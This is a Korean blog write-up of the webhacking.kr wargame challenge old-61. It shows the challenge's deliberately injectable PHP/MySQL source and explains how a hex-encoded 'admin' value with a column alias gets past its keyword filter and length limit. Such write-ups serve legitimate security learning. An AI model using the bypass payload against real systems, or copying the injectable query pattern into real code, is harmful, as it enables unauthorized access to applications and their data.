본문 바로가기

Wargame(hacking)/webhacking.kr

Webhacking.kr : old-61

Write-Up

 

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
  $db = dbconnect();
  if(!$_GET['id']) $_GET['id']="guest";
  echo "<html><head><title>Challenge 61</title></head><body>";
  echo "<a href=./?view_source=1>view-source</a><hr>";
  $_GET['id'] = addslashes($_GET['id']);
  if(preg_match("/\(|\)|select|from|,|by|\./i",$_GET['id'])) exit("Access Denied");
  if(strlen($_GET['id'])>15) exit("Access Denied");
  $result = mysqli_fetch_array(mysqli_query($db,"select {$_GET['id']} from chall61 order by id desc limit 1"));
  echo "<b>{$result['id']}</b><br>";
  if($result['id'] == "admin") solve(61);
  echo "</body></html>";
?>

 

 

해당 문제는 필터링과 addslashes() 함수 또한 적용된다. 그러므로 MySQL의 별칭으로 해당 문제를 해결해준다. 별칭은 아래와 같이 적용해줄 수 있다. 

 

SELECT 0x61646D696e ABCD12345;

SELECT 0x61646D696e as 'ABCD';

SELECT 0x61646D696e `ABCD123`;

 

0x61646D696e는 admin의 hex 값이다. 즉 injection code는 0x61646D696e id 와 같다. 

 

 

참고

 

http://docs.php.net/manual/en/function.addslashes.php

 

PHP: addslashes - Manual

spamdunk at home dot com, your way is dangerous on PostgreSQL (and presumably MySQL). You're quite correct that ANSI SQL specifies using ' to escape, but those databases also support \ for escaping (in violation of the standard, I think). Which means that

docs.php.net